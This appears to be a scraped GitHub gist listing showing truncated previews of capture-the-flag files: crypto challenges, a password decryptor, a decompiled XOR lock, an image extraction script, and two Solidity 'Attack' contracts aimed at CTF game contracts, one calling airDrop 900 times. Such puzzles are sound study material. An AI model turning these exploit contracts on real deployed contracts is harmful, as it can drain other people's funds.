This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
from gmpy2 import powmod, is_prime | |
from flag import FLAG | |
import sys | |
from hashlib import sha256 | |
from os import urandom | |
import sys | |
def write_to_file(num): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import sys, hashlib | |
def decrypt_password(user, pass_enc): | |
key = hashlib.md5(user + b"283i4jfkai3389").digest() | |
passw = "" | |
for i in range(0, len(pass_enc)): | |
passw += chr(pass_enc[i] ^ key[i % len(key)]) | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function name: (null) | |
number of ops: 39 | |
compiled vars: !0 = $flag, !1 = $_box, !2 = $magic | |
line #* E I O op fetch ext return operands | |
------------------------------------------------------------------------------------- | |
3 0 E > ASSIGN !0, 'FLAG+HERE' | |
5 1 NOP | |
13 2 NOP | |
21 3 NOP | |
33 4 NOP |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import struct | |
import os | |
class Tictactoe: | |
def __init__(self, key): | |
self.delta = 0x9E3779B9 | |
self.mask = 0xffffffff | |
self.rounds = 64 | |
self.block_size = 8 #char | |
self.key = struct.unpack('4I', key) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from Crypto.Util import number | |
from Crypto.PublicKey import RSA | |
from hashlib import sha1 | |
from os import urandom as rand | |
import gmpy2 | |
class RSA_key: | |
def __init__(self, magic, size=2048): | |
self._key = RSA.generate(size) | |
self._magic = magic |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# uncompyle6 version 3.2.4 | |
# Python bytecode 2.7 (62211) | |
# Decompiled from: Python 2.7.15rc1 (default, Apr 15 2018, 21:51:34) | |
# [GCC 7.3.0] | |
# Embedded file name: PyLock.py | |
import sys, os | |
from itertools import cycle, izip | |
import base64 | |
class XorLock: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from PIL import Image | |
def main(): | |
img = Image.open("for1.png") | |
pixels = img.load() | |
h = img.size[0] | |
w = img.size[1] | |
out1 = '' | |
for row in range(h): | |
for col in range(w): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff | |
a = p-3 | |
b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b | |
r = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551 | |
x = 0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296 | |
y = 0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5 | |
class CurveFp(object): | |
def __init__(self, p, a, b): | |
assert 3 == p % 4 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
contract Attack{ | |
address target = 0x804d8B0f43C57b5Ba940c1d1132d03f1da83631F; | |
address owner = 0x622afc0cbaa152e6615be060f93bc88440a8442d; | |
uint256 MOD_NUM = 20; | |
EOSGame game; | |
constructor() public{ | |
game = EOSGame(target); | |
} | |
function check() public view returns (uint256){ | |
uint count = 1; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
contract Attack{ | |
address target = 0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a; | |
Fake3D game; | |
constructor() public{ | |
game = Fake3D(target); | |
for (uint256 i=0; i<900; i++){ | |
game.airDrop(); | |
} | |
} | |
} |